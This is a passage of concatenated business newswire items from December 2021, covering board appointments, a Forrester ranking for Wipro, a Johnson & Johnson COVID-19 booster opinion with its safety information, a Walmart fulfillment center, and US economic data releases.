the US and co-CEO of numares AG adds "Greg is a great addition to our Supervisory Board. His extensive experience in the diagnostics industry will help numares to commercialize its pipeline of new tests in the US. These include AXINON GFR(NMR), a novel multi-marker kidney function test, recently submitted for FDA clearance." Earlier this year, numares also announced its FDA 510(k) application for the AXINON LDL-P test on the AXINON System, an IVD platform based on Nuclear Magnetic Spectroscopy (NMR), combined with the company's proprietary Magnetic Group Signaling (MGS). MGSenables simultaneous, highly standardized analysis of metabolites in human samples like blood and urine. The platform is used to develop and deploy novel diagnostic tests in clinical laboratories, applying the "numares model," that identifies a set of metabolites, so-called "biomarker constellations," via machine learning algorithms. This provides diagnostics solutions for the prevention and treatment of disease, including conditions in the kidney, heart, and liver, as well as cancer. At the numares shareholders' meeting in December 2021, Dr. Heath was elected as member of the supervisory board effective January 1st, 2022. You will find more information at https://www.numares.com/ and on our social media channels: LinkedIn, Facebook, YouTube and Twitter. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005040/en/ Contacts: For further information please contact: numares Christiane Proll Tel.: +49 941 280 949-14 E-Mail: christiane.proll@numares.com The company is recognized for its "high competency in data cloud and migration and data quality" Wipro Limited (NYSE: WIT, BSE: 507685, NSE: WIPRO), a leading global information technology, consulting and business process services company, today announced it has been named as a 'Leader' in The Forrester Wave: Data Management Service Providers, Q4 2021. The report states, "community and data engineering capabilities are a key strength of Wipro, translating into high competency in data cloud and migration and data quality." The report also notes that "[Wipro's] acquisition of Topcoder, along with other strategic acquisitions and partnerships with the academic community, ensures that the right resources and skills are available for data innovation, cloud migration, data quality and master data management, and data integration." The report evaluated companies across 22 criteria, including data engineering and delivery models, at a time when business-critical data initiatives demand not only acumen and agility, but also the ability to overcome talent shortages by providing highly qualified data experts. In addition to being named a leader, Wipro received differentiated ratings in the data engineering, execution roadmap, community, data cloud and migration, data quality, and delivery model criteria. "Client feedback specifically called out Wipro's depth of knowledge, having the right people for the job, building strong relationships with leadership, and flexibility to adapt to new circumstances," says the Forrester report, authored by Michele Goetz, Vice President, Principal Analyst, Forrester. The report also notes, "Wipro's delivery model allows for revenue share, outcome-based billing, and joint ventures to meet new data monetization models." "Data management is the bedrock of any organization that is looking to transform itself into an intelligent enterprise and enabling an intelligent ecosystem around it," says Jayant Prabhu, Vice President Global Head, Data Analytics, Wipro Limited. "We are honoured to be recognized as a Leader in this report and will continue to bring our differentiated data-management solutions, deep expertise and easy access to talent to enable our clients to innovate and drive business outcomes." The full Forrester Wave: Data Management Service Providers, Q4 2021 report is available here. About Wipro Limited Wipro Limited (NYSE: WIT, BSE: 507685, NSE: WIPRO) is a leading global information technology, consulting and business process services company. We harness the power of cognitive computing, hyper-automation, robotics, cloud, analytics and emerging technologies to help our clients adapt to the digital world and make them successful. A company recognized globally for its comprehensive portfolio of services, strong commitment to sustainability and good corporate citizenship, we have over 220,000 dedicated employees serving clients across six continents. Together, we discover ideas and connect the dots to build a better and a bold new future. Forward-Looking Statements The forward-looking statements contained herein represent Wipro's beliefs regarding future events, many of which are by their nature, inherently uncertain and outside Wipro's control. Such statements include, but are not limited to, statements regarding Wipro's growth prospects, its future financial operating results, and its plans, expectations and intentions. Wipro cautions readers that the forward-looking statements contained herein are subject to risks and uncertainties that could cause actual results to differ materially from the results anticipated by such statements. Such risks and uncertainties include, but are not limited to, risks and uncertainties regarding fluctuations in our earnings, revenue and profits, our ability to generate and manage growth, complete proposed corporate actions, intense competition in IT services, our ability to maintain our cost advantage, wage increases in India, our ability to attract and retain highly skilled professionals, time and cost overruns on fixed-price, fixed-time frame contracts, client concentration, restrictions on immigration, our ability to manage our international operations, reduced demand for technology in our key focus areas, disruptions in telecommunication networks, our ability to successfully complete and integrate potential acquisitions, liability for damages on our service contracts, the success of the companies in which we make strategic investments, withdrawal of fiscal governmental incentives, political instability, war, legal restrictions on raising capital or acquiring companies outside India, unauthorized use of our intellectual property and general economic conditions affecting our business and industry. The conditions caused by the COVID-19 pandemic could decrease technology spending, adversely affect demand for our products, affect the rate of customer spending and could adversely affect our customers' ability or willingness to purchase our offerings, delay prospective customers' purchasing decisions, adversely impact our ability to provide on-site consulting services and our inability to deliver our customers or delay the provisioning of our offerings, all of which could adversely affect our future sales, operating results and overall financial performance. Our operations may also be negatively affected by a range of external factors related to the COVID-19 pandemic that are not within our control. Additional risks that could affect our future operating results are more fully described in our filings with the United States Securities and Exchange Commission, including, but not limited to, Annual Reports on Form 20-F. These filings are available at www.sec.gov. We may, from time to time, make additional written and oral forward-looking statements, including statements contained in the company's filings with the Securities and Exchange Commission and our reports to shareholders. We do not undertake to update any forward-looking statement that may be made from time to time by us or on our behalf. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005532/en/ Contacts: Nisha Chandrasekaran Wipro Limited nisha.chandrasekaran@wipro.com World-renowned industry leader to lead board as DnaNudge targets major acceleration in global roll-out of transformative rapid genetic testing solutions Consumer genetics testing and medical diagnostics innovator DnaNudge is today pleased to announce that Sir Richard Sykes FRS FMedSci HonFREng has joined its board as Chairman Elect, effective immediately. This key board appointment comes as the company targets a major acceleration in the roll-out of its transformative rapid genetic testing solutions to meet international market demand. Sir Richard Sykes the new chair of the UK government's Vaccine Taskforce and current Chancellor of Brunel University brings to DnaNudge an unparalleled level of experience in biotechnology and pharmaceuticals, having held leadership positions in internationally recognised commercial pharmaceutical and medical organisations, including Chairman and CEO of GlaxoWellcome, and chairman of GlaxoSmithKline, the Royal Institution of Great Britain, King Edward VII's Hospital, the UK Stem Cell Foundation, and Singapore Biomedical Sciences International Advisory Council. Sir Richard is a former Rector of Imperial College London and received his Knighthood from Her Majesty The Queen's 1994 New Year's Honours list for services to the pharmaceutical industry. Sir Richard Sykes joins DnaNudge at a pivotal time, with the company's ground-breaking rapid genetic testing solutions including the first ever sample-to-result RT-PCR COVID-19 test in high demand in healthcare settings around the world and as private consumer services. DnaNudge's portable, clinical-grade point-of-care testing platform delivers accurate results in just over an hour, without the need for a laboratory or any manual sample pre-processing. Capable of a high level of multiplexing with 72 testing wells available on each testing cartridge DnaNudge's sample-to-result testing platform offers the ability to test simultaneously for all known SARS-CoV-2 virus variants, FluA, FluB, respiratory syncytial virus (RSV), plus markers indicating genetic risk for key health conditions, all on the same test cartridge. The board, led by Sir Richard Sykes, will oversee a dramatic ramp-up in the global footprint of DnaNudge's on-the-spot consumer DNA testing services including the world's first service to use consumers' own DNA plus lifestyle factors to nudge people towards healthier and more personalised food choices while shopping. The DnaNudge Nutrition service analyses and maps users' genetic profiles to key nutrition-related health traits such as obesity, diabetes, hypertension and cholesterol, empowering customers to be guided by their DNA, plus lifestyle factors, towards healthier eating. The company is now extending its services into personalised skincare shopping, which it intends to roll-out across all major international territories. Commenting on his new role, Sir Richard Sykes said: "I am delighted to be joining the board of this exceptional company, as it extends the applications of its outstanding technology innovations to the global market. DnaNudge has built a world-class technology platform through its award-winning innovation and vision, making the opportunity for DnaNudge's genetic testing services both in the consumer arena and in the medical diagnostics sector very exciting. I am very much looking forward to joining the growing DnaNudge team as they take advantage of their very strong market potential in next-generation rapid genetic testing." Regius (Royal) Professor Chris Toumazou FRS, FREng, FMedSci, CEO and co-founder of DnaNudge and founder of the Institute of Biomedical Engineering at Imperial College London commented: "We are absolutely thrilled that Sir Richard Sykes is joining our board as Chairman Elect, bringing his vast industry experience to our business at the optimal time. Sir Richard is not only one of this country's most respected industry leaders, but he has huge international expertise and sector knowledge, having been the driving force of successful global organisations both in the public and private sector. The breadth and depth of his expertise will be invaluable to DnaNudge as we look to simultaneously roll-out our unique service offerings across multiple sectors and geographies. Sir Richard will undoubtedly play a fundamental role in helping to shape and steer the next exciting phase of our journey." Ends--- About DnaNudge (http://www.dnanudge.com) DnaNudge is the developer of the world's first service to use consumers' own DNA plus lifestyle factors to nudge people towards healthier choices while shopping. The DnaNudge Nutrition service analyses and maps users' genetic profile to key nutrition-related health traits such as obesity, diabetes, hypertension and cholesterol, enabling customers to be guided by their DNA towards healthier eating. The service has been developed by world-renowned biomedical engineer Regius Professor Chris Toumazou FRS and published geneticist Dr Maria Karvela. This ground-breaking DNA testing service created to address an epidemic obesity and Type 2 diabetes has been successfully adapted for the fight against a pandemic, with the development of the rapid, lab-free CovidNudge RT-PCR test. CovidNudge can accurately detect COVID-19 and other viruses in just over an hour, without the need for a laboratory, and is in use in healthcare settings around the world. About Sir Richard Sykes Sir Richard Sykes is Chairman of the UK Stem Cell Foundation, the Royal Institution of Great Britain and King Edward VII's Hospital, and on the board of US immunotherapy company PDS Biotechnology Corp. He was Vice-Chairman of Lonza Group, Senior Non-Executive Director of Eurasian National Resources Corp and was also a Senior Independent Director of Rio Tinto plc. Sir Richard was previously Chairman and CEO of GlaxoWellcome and Chairman of GlaxoSmithKline. He was appointed Chancellor of Brunel in 2013. Internationally, Sir Richard is Chairman of the International Advisory Board, A*Star Biomedical Research Council, Singapore. He was awarded Honorary Citizenship of Singapore in 2004 for his contribution to the development of the country's biomedical sciences industry. Sir Richard holds a number of degrees and awards from Institutions both in the UK and overseas. He is a Fellow of the Royal Society and Academy of Medical Sciences, and an Honorary Fellow of the Royal Academy of Engineering, Royal Society of Chemistry, Royal Pharmaceutical Society, Royal College of Pathologists and the Royal College of Physicians. Sir Richard is also President of the R&D Society, a position he has held since 2002. He is a Fellow of Imperial College London, the Imperial College School of Medicine and King's College London, Honorary Fellow of the Universities of Wales and Central Lancashire and holds Honorary degrees from a number of institutions, including Brunel. Sir Richard received his Knighthood in the 1994 New Year's Honours list for services to the pharmaceutical industry. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005547/en/ Contacts: PRESS CONTACTS for DnaNudge: Nicky Denovan Becky Attwood Email: nicky@evokedset.com Phone: +44 (0) 118 328 2782 Visionary Founder says, "Global Teams are the Future of Work and Geography No Longer Equals Destiny" BOSTON, Dec. 15, 2021 /PRNewswire/ -- Globalization Partners , which simplifies global remote team building by making it fast and easy for companies to hire anyone, anywhere, within minutes, via its global employment platform, today announced that its visionary CEO and Founder Nicole Sahin's newly released first book, Global Talent Unleashed: An Executive's Guide to Conquering the World, has made the WSJ Bestseller Book List. Currently available on Amazon and Barnes and Noble , the book will also be available in paperback from ACompass Printing Press in February. Global Talent Unleashed: An Executive's Guide to Conquering the World explores how executives everywhere have awoken to the idea of hiring the best talent in the world no matter where they live, and the massive opportunity presented that comes from building global remote teams. The book provides a blueprint to avoid missteps, explains to readers what to expect, and follows a proven path to take a company from local to global practically overnight. Sahin's company empowers its customers to hire anyone, anywhere, within minutes, all without setting-up subsidiaries or dealing with the hassle of navigating complicated HR and legal compliance matters. In addition to opening up the global talent pool worldwide, Globalization Partners enables the democratization of opportunity, because now, talented individuals everywhere can have access to great jobs. This in turn elevates local economies around the world and is transformational on a societal level. "Companies have discovered remote working works. As a result, the talent pool has expanded exponentially, erasing borders, and opening up untapped markets," said Sahin, who created the Employer of Record (EOR) industry in 2012. "In Global Talent Unleashed, I outline for executives everywhere how to achieve rapid growth and chronicle the proven path for success including approaches to managing global teams and leading people-all over the world." In her book, Sahin shares success stories about companies that have built global remote teams. She illustrates how Globalization Partners ensures legal, tax, and payroll compliance as well as how to navigate cultural nuances and communications. Sahin and her "Dream Team" show, through these examples, how easy they have made it for companies to hire the best talent in the world-no matter where they live. Sahin's Global Talent Unleashed also addresses: Why, when, and how to establish operations in another country-and which countries to target How to choose a landing spot and build talent hubs What team engagement tactics will support and lead your people in different time zones, countries, and cultures The regional know-how that will equip you to understand cultural differences to build better teams both remotely and globally How providing access to good jobs in different corners of the world is the best way to address many of the world's problems-from climate change to human migration About Globalization Partners Hire international talent quickly and easily. Use our AI-driven, automated, global employment platform powered by our in-house worldwide HR experts. Trust the named industry leader that consistently attains 98 percent customer satisfaction ratings. Globalization Partners: Succeed Faster To learn more, please visit: globalization-partners.com or connect with us via Twitter , LinkedIn , Facebook , or check out our Blog . About the Author Nicole M. Sahin is CEO and Founder of Globalization Partners and is recognized by Goldman Sachs as one of the 100 Most Intriguing Entrepreneurs of 2021. Independent analyst firm Nelson Hall also named Globalization Partners, Employer of Record Industry Leader in their 2020 report. Her non-profit endeavors focus on eliminating extreme poverty through education and economic development. Her new book is Global Talent Unleashed: An Executive's Guide to Conquering the World (ACompass Printing, Nov. 11, 2021). Media Contacts: Karen Pantinas Globalization Partners Kpantinas@globalization-partners.com 617-729-4466 CHMP recommendation based on data showing a booster (second shot) of the Johnson & Johnson COVID-19 vaccine increased protection to 75 percent against symptomatic COVID-19 infection globally Data also demonstrated 100 percent protection against severe COVID-19, at least 14 days post-booster vaccination The Johnson & Johnson COVID-19 vaccine, when given as a booster or primary shot, was generally well-tolerated NEW BRUNSWICK, N.J., Dec. 15, 2021 /PRNewswire/ -- Johnson & Johnson (NYSE: JNJ) (the Company) today announced that the Committee for Medicinal Products for Human Use (CHMP) of the European Medicines Agency (EMA) issued a Positive Opinion for use of the Company's COVID-19 vaccine as a booster for adults aged 18 and older at least two months after primary vaccination with a single-shot of the Johnson & Johnson COVID-19 vaccine, and as a 'mix and match' booster following primary vaccination with an approved two-shot mRNA COVID-19 vaccine regimen (known as heterologous boosting). "We are pleased with today's Positive Opinion from the CHMP supporting the use of our COVID-19 vaccine as a booster for eligible individuals in Europe," said Mathai Mammen, M.D., Ph.D., Global Head, Janssen Research & Development, Johnson & Johnson. "There is a growing body of data showing that the Johnson & Johnson COVID-19 vaccine induces broad and durable humoral and cellular immune responses, whether administered as a single shot for an efficient response to the pandemic, or as a booster shot after at least two months to strengthen protection against symptomatic COVID-19. Cellular immune responses are showing potential to be important for both breadth of protection and durability." The CHMP Opinion was based on a comprehensive data package that included results from the Phase 3 ENSEMBLE 2 study, which found a booster of the Johnson & Johnson COVID-19 vaccine given two months after the primary shot provided 75 percent protection against symptomatic (moderate to severe) COVID-19 globally (CI, 55%-87%) and 94 percent protection against symptomatic (moderate to severe) COVID-19 in the U.S. (CI, 59%-100%). It also demonstrated 100 percent protection against severe COVID-19, at least 14 days post-booster vaccination (CI, 33%-100%). The vaccine, when given as a booster or primary shot, was generally well-tolerated, with no new safety signals observed in the two-shot ENSEMBLE 2 trial compared with single-shot studies. Also included in the data package reviewed by the CHMP were results from multiple real-world evidence (RWE) studies, including the Company's previously announced RWE study that demonstrated similar estimates of single-shot vaccine effectiveness as observed in our randomized clinical trials. The effectiveness estimates remained stable with no evidence of reduced effectiveness over time before the Delta variant emerged and after it became the dominant strain in the U.S. from March through August (sequencing data were not available for analysis). The CHMP recommendation is supported by latest data for heterologous boosting with the Johnson & Johnson COVID-19 vaccine. Interim data from the National Institute of Allergy and Infectious Disease (NIAID) "MixNMatch" study demonstrated that a booster of the Johnson & Johnson COVID-19 vaccine increases immune response regardless of a person's primary vaccination. A second study by the Beth Israel Deaconess Medical Center (BIDMC), including a subset of participants from the Janssen-sponsored COV2008 study, demonstrated the potential benefits of heterologous boosting: a booster shot of the Johnson & Johnson vaccine administered at six months after a two-shot primary regimen of the Pfizer/BioNTech vaccine, increased both antibody and T-cell responses. In these participants, antibodies continued to increase for at least four weeks whereas in individuals who received a homologous boost with the BNT162b2 vaccine, antibodies declined from week two to week four post-boost, resulting in similar antibody levels in both groups. The Company's single-shot COVID-19 vaccine, developed by its Janssen Pharmaceutical Companies of Johnson & Johnson, received an Emergency Use Authorization in the United States on 27 February 2021 and Conditional Marketing Authorisation (CMA) by the European Commission on 11 March. On 21 October 2021, the U.S. Centers for Disease Control and Prevention (CDC) Advisory Committee on Immunization Practices (ACIP) authorized for emergency use a booster shot of the Johnson & Johnson COVID-19 vaccine for adults aged 18 and older. On 9 December 2021, the Strategic Advisory Group of Experts (SAGE) on Immunization for the World Health Organization (WHO) supported the use of the Johnson & Johnson COVID-19 vaccine as a heterologous booster shot in persons aged 18 years and above. For more information on the Company's multi-pronged approach to helping combat the pandemic, visit: www.jnj.com/covid-19. AUTHORIZATION OF USE The Janssen COVID-19 Vaccine is authorized for use under an Emergency Use Authorization (EUA) for active immunization to prevent Coronavirus Disease 2019 (COVID-19) caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). Primary vaccination regimen for the Janssen COVID-19 Vaccine is a single-dose (0.5 mL) administered to individuals 18 years of age and older. A single Janssen COVID-19 Vaccine booster dose (0.5 mL) may be administered at least 2 months after the primary vaccination to individuals 18 years of age and older. A single booster dose of the Janssen COVID-19 Vaccine (0.5 mL) may be administered to individuals 18 years of age and older as a heterologous booster dose following completion of primary vaccination with another authorized or approved COVID-19 vaccine. The dosing interval for the heterologous booster dose is the same as that authorized for a booster dose of the vaccine used for primary vaccination. IMPORTANT SAFETY INFORMATION WHAT SHOULD YOU MENTION TO YOUR VACCINATION PROVIDER BEFORE YOU GET THE JANSSEN COVID-19 VACCINE? Tell the vaccination provider about all of your medical conditions, including if you: have any allergies have a fever have a bleeding disorder or are on a blood thinner are immunocompromised or are on a medicine that affects your immune system are pregnant or plan to become pregnant are breastfeeding have received another COVID-19 vaccine have ever fainted in association with an injection WHO SHOULD NOT GET THE JANSSEN COVID-19 VACCINE? You should not get the Janssen COVID-19 Vaccine if you: had a severe allergic reaction after a previous dose of this vaccine. had a severe allergic reaction to any ingredient of this vaccine. had a blood clot along with a low level of platelets (blood cells that help your body stop bleeding) following Janssen COVID-19 Vaccine or following AstraZeneca's COVID-19 vaccine (not authorized or approved in the United States ). HOW IS THE JANSSEN COVID-19 VACCINE GIVEN? The Janssen COVID-19 Vaccine will be given to you as an injection into the muscle. Primary Vaccination: The Janssen COVID-19 Vaccine is administered as a single dose. Booster Dose: A single booster dose of the Janssen COVID-19 Vaccine may be administered at least two months after primary vaccination with the Janssen COVID-19 Vaccine. A single booster dose of the Janssen COVID-19 Vaccine may be administered to individuals 18 years of age and older who have completed primary vaccination with a different authorized or approved COVID-19 vaccine. Please check with your health care provider regarding timing of the booster dose. WHAT ARE THE RISKS OF THE JANSSEN COVID-19 VACCINE? Side effects that have been reported with the Janssen COVID-19 Vaccine include: Injection site reactions: pain, redness of the skin, and swelling. General side effects: headache, feeling very tired, muscle aches, nausea, fever. Swollen lymph nodes. Blood clots. Unusual feeling in the skin (such as tingling or a crawling feeling) (paresthesia), decreased feeling or sensitivity, especially in the skin (hypoesthesia). Persistent ringing in the ears (tinnitus). Diarrhea, vomiting. Severe Allergic Reactions There is a remote chance that the Janssen COVID-19 Vaccine could cause a severe allergic reaction. A severe allergic reaction would usually occur within a few minutes to one hour after getting a dose of the Janssen COVID-19 Vaccine. For this reason, your vaccination provider may ask you to stay at the place where you received your vaccine for monitoring after vaccination. Signs of a severe allergic reaction can include: Difficulty breathing Swelling of your face and throat A fast heartbeat A bad rash all over your body Dizziness and weakness Blood Clots with Low Levels of Platelets Blood clots involving blood vessels in the brain, lungs, abdomen, and legs along with low levels of platelets (blood cells that help your body stop bleeding), have occurred in some people who have received the Janssen COVID-19 Vaccine. In people who developed these blood clots and low levels of platelets, symptoms began approximately one to two-weeks after vaccination. Blood clots with low levels of platelets following the Janssen COVID-19 Vaccine have been reported in males and females, across a wide age range of individuals 18 years and older; reporting has been highest in females ages 30 through 49 years (about 1 case for every 100,000 vaccine doses administered), and about 1 out of every 7 cases has been fatal. You should seek medical attention right away if you have any of the following symptoms after receiving the Janssen COVID-19 Vaccine: Shortness of breath, Chest pain, Leg swelling, Persistent abdominal pain, Severe or persistent headaches or blurred vision, Easy bruising or tiny blood spots under the skin beyond the site of the injection. These may not be all the possible side effects of the Janssen COVID-19 Vaccine. Serious and unexpected effects may occur. The Janssen COVID-19 Vaccine is still being studied in clinical trials. Guillain Barre Syndrome Guillain Barre syndrome (a neurological disorder in which the body's immune system damages nerve cells, causing muscle weakness and sometimes paralysis) has occurred in some people who have received the Janssen COVID-19 Vaccine. In most of these people, symptoms began within 42 days following receipt of the Janssen COVID-19 Vaccine. The chance of having this occur is very low. You should seek medical attention right away if you develop any of the following symptoms after receiving the Janssen COVID-19 Vaccine: Weakness or tingling sensations, especially in the legs or arms, that's worsening and spreading to other parts of the body. Difficulty walking. Difficulty with facial movements, including speaking, chewing, or swallowing. Double vision or inability to move eyes. Difficulty with bladder control or bowel function. WHAT SHOULD I DO ABOUT SIDE EFFECTS? If you experience a severe allergic reaction, call 9-1-1, or go to the nearest hospital. Call the vaccination provider or your healthcare provider if you have any side effects that bother you or do not go away. Report vaccine side effects to FDA/CDC Vaccine Adverse Event Reporting System (VAERS). The VAERS toll-free number is 1-800-822-7967 or report online to https://vaers.hhs.gov/reportevent.html. Please include "Janssen COVID-19 Vaccine EUA" in the first line of box #18 of the report form. In addition, you can report side effects to Janssen Biotech Inc. at 1-800-565-4008. CAN I RECEIVE THE JANSSEN COVID-19 VACCINE AT THE SAME TIME AS OTHER VACCINES? Data have not yet been submitted to FDA on administration of the Janssen COVID-19 Vaccine at the same time as other vaccines. If you are considering receiving the Janssen COVID-19 Vaccine with other vaccines, discuss your options with your healthcare provider. Please read Emergency Use Authorization (EUA) Fact Sheet for Healthcare Providers Administering Vaccine (Vaccination Providers) including full EUA Prescribing Information available at: www.JanssenCOVID19Vaccine.com/EUA-factsheet. About Johnson & Johnson At Johnson & Johnson, we believe good health is the foundation of vibrant lives, thriving communities and forward progress. That's why for more than 130 years, we have aimed to keep people well at every age and every stage of life. Today, as the world's largest and most broadly-based healthcare company, we are committed to using our reach and size for good. We strive to improve access and affordability, create healthier communities, and put a healthy mind, body and environment within reach of everyone, everywhere. We are blending our heart, science and ingenuity to profoundly change the trajectory of health for humanity. Learn more at www.jnj.com. Follow us at @JNJNews. About the Janssen Pharmaceutical Companies of Johnson & Johnson At Janssen, we're creating a future where disease is a thing of the past. We're the Pharmaceutical Companies of Johnson & Johnson, working tirelessly to make that future a reality for patients everywhere by fighting sickness with science, improving access with ingenuity, and healing hopelessness with heart. We focus on areas of medicine where we can make the biggest difference: Cardiovascular & Metabolism, Immunology, Infectious Diseases & Vaccines, Neuroscience, Oncology, and Pulmonary Hypertension. Learn more at www.janssen.com. Follow us at @JanssenGlobal. Cautions Concerning Forward-Looking Statements This press release contains "forward-looking statements" as defined in the Private Securities Litigation Reform Act of 1995 regarding development, manufacture and distribution of the Johnson & Johnson COVID-19 vaccine. The reader is cautioned not to rely on these forward-looking statements. These statements are based on current expectations of future events. If underlying assumptions prove inaccurate or known or unknown risks or uncertainties materialize, actual results could vary materially from the expectations and projections of the Janssen Pharmaceutical Companies, and/or Johnson & Johnson. Risks and uncertainties include, but are not limited to: challenges and uncertainties inherent in product research and development, including the uncertainty of clinical success and of obtaining regulatory approvals; uncertainty of commercial success; manufacturing difficulties and delays; competition, including technological advances, new products and patents attained by competitors; challenges to patents; product efficacy or safety concerns resulting in product recalls or regulatory action; changes in behavior and spending patterns of purchasers of health care products and services; changes to applicable laws and regulations, including global health care reforms; and trends toward health care cost containment. A further list and descriptions of these risks, uncertainties and other factors can be found in Johnson & Johnson's Annual Report on Form 10-K for the fiscal year ended January 3, 2021, including in the sections captioned "Cautionary Note Regarding Forward-Looking Statements" and "Item 1A. Risk Factors," and in the company's most recently filed Quarterly Report on Form 10-Q, and the company's subsequent filings with the Securities and Exchange Commission. Copies of these filings are available online at www.sec.gov, www.jnj.com or on request from Johnson & Johnson. None of the Janssen Pharmaceutical Companies nor Johnson & Johnson undertakes to update any forward-looking statement as a result of new information or future events or developments. Logo - https://mma.prnewswire.com/media/403394/Johnson_and_Johnson_Logo.jpg BENTONVILLE (dpa-AFX) - Retail giant Walmart (WMT) announced Wednesday plans to build a new fulfillment center in Salt Lake City to support the retailer's growing eCommerce business. The purpose of the facility will be to fulfill online orders placed on Walmart.com. The more than one million square-foot facility, which is located at 990 N 6550 W, is scheduled to open in Summer of 2022 and will create approximately 450 full-time, permanent jobs across the region. Walmart fulfillment centers are an important part of the retailer's supply chain network and is focused on storing millions of items that are picked, packed and shipped directly to customers as soon as next-day. The facility is part of a broader initiative to add more capacity into Walmart's supply chain as the retailer prepares for growth. In the third quarter of fiscal 2022, Walmart U.S. eCommerce sales grew 8% for the quarter and 87% over the past two years. Walmart is currently hiring full-time positions for the fulfillment center, including the following leadership roles: General Manager; Environmental, Health and Safety Operations Manager; Maintenance Manager; and Human Resources Manager. The full-time positions qualify for Walmart's total rewards and benefits plans, including medical, vision and dental insurance, 401(k) matching, paid time off, a quarterly incentive program and access to a free college degree. Walmart operates three distribution centers, 59 retail stores and employs 20,000+ associates in the state of Utah. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Boosh Plant-Based Brands Inc. (CSE: VEGI) (OTCQB: VGGIF) (FSE: 77I) ("Boosh" or the "Company") is proud to announce that on Monday, January 24th, Boosh will begin to provide direct access to our expanding portfolio of plant-based brands directly through our website, Booshfood.com. A primary objective of Boosh is to constantly expand the ability and ease in which consumers can purchase any one of our 24 SKU's, whether it be our frozen line, refrigerated entrees or our newly released and popular shelf stable plant-based Mac & Cheeze. The home delivery directly from Booshfood.com will drastically expand our existing E-commerce presence and offer the quickest and easiest platform available to order Boosh. The Company intends to first launch on the website its six frozen entrees; Hearty Sheppard's Pie with Beyond Meat, Rustic Pot Pie, Mexican Fiesta bowl, Coconut Curry Cauli bowl, Mac & Cheeze & Peas bowl, Veggie Bolognese with Beyond Meat bowl, as well as its shelf stable plant-based Mac & Cheeze; Nacho and Better Cheddar. In addition, we'll have the full line of SaltSprings vegetable pates, and the Pulse Specialty Kitchen line of plant-based cheeses. Shortly thereafter, the Company will offer its exceptional line of refrigerated entrees including Sloppy Joe, Chili and Mushroom Gravy. "As a celiac, my goal in starting Boosh in 2018 was to create healthy, plant-based, non-GMO, gluten free heat n' eat meals that the whole family can truly enjoy after a busy day. During the early days I was selling Boosh exclusively through our local home delivery service throughout Greater Vancouver, but it was extremely labor intensive and not cost effective for a very small company. Fast forward, because of our infrastructure and the advancement of E-commerce, we're going to able to reach consumers at their homes throughout North America. All they'll have to do is a few clicks on Booshfood.com," states Connie Marples, founder and president of Boosh. "Having over 49,000 visitors to Booshfood.com in less than a year of which approximately 40,000 were unique/new visitors is an outstanding accomplishment for our team. And the fact that over 99% of our traffic source was organic as opposed to display ads is a tremendous accomplishment. As we reach for our 2022 goal of doubling our unique visits, we recognize the importance to convert our website from a "passive" experience to an "active" one. "Active" being the ability to view and purchase our products, whether you live in Saskatoon, Saskatchewan or Savannah, Georgia," states CEO Jim Pakulis. Throughout the year and especially over the holiday season, Boosh loves to share its plant-based food with a number of charities that help and support the hungry, marginalized or homeless. This past year we have supported Surrey Food Bank, Vancouver Food Bank, Ontario Food Banks, Mammas for Mammas, Options BC and the Immigrant Link Centre Society. In early 2022 we intend to include A Better Life Foundation to our list. On behalf of the Board of Directors Jim Pakulis Chief Executive Officer Telephone: (833) 882-6674 www.Booshfood.com About Boosh Plant-Based Brands Inc.: Boosh Plant-Based Brands Inc., through its wholly owned subsidiary, Boosh Food (www.booshfood.com), offers high quality, non-GMO, gluten free, 100% plant-based nutritional comfort foods for the whole family. We currently offer 24 plant-based SKU's ranging from frozen meals, to refrigerated entrees to shelf stable Mac & Cheezes, and are sold throughout Canada. Boosh, good for you and good for planet earth. The information in this news release includes certain information and statements about management's view of future events, expectations, plans and prospects that constitute forward looking statements. These statements are based upon assumptions that are subject to significant risks and uncertainties. Because of these risks and uncertainties and as a result of a variety of factors, the actual results, expectations, achievements or performance may differ materially from those anticipated and indicated by these forward looking statements. Forward-looking statements in this news release include, but are not limited to, the Company's proposed use of the proceeds of its initial public offering. Any number of factors could cause actual results to differ materially from these forward-looking statements as well as future results. Although the Company believes that the expectations reflected in forward looking statements are reasonable, it can give no assurances that the expectations of any forward looking statements will prove to be correct. Except as required by law, the Company disclaims any intention and assumes no obligation to update or revise any forward looking statements to reflect actual results, whether as a result of new information, future events, changes in assumptions, changes in factors affecting such forward looking statements or otherwise. Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107676 WASHINGTON (dpa-AFX) - The Federal Reserve Bank of New York released a report on Wednesday unexpectedly showing a modest acceleration in the pace of growth in regional manufacturing activity in the month of December. The New York Fed said its general business conditions index inched up to 31.9 in December from 30.9 in November, with a positive reading indicating growth. The uptick surprised economists, who had expected the index to pull back to 20.5. Looking ahead, the New York Fed said firms remained optimistic that conditions would improve over the next six months, although optimism is still lower than it was in the fall. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. WASHINGTON (dpa-AFX) - Continuing the upward trend seen throughout most of 2021, the Labor Department released a report on Wednesday showing U.S. import prices increased in line with economist estimates in the month of November. The Labor Department said import prices climbed by 0.7 percent in November after surging by an upwardly revised 1.5 percent in October. Economists had expected import prices to advance by 0.7 percent compared to the 1.2 percent jump originally reported for the previous month. Meanwhile, the report said export prices shot up by 1.0 percent in November after spiking by an upwardly revised 1.6 percent in October. Economists had expected export prices to rise by 0.5 percent 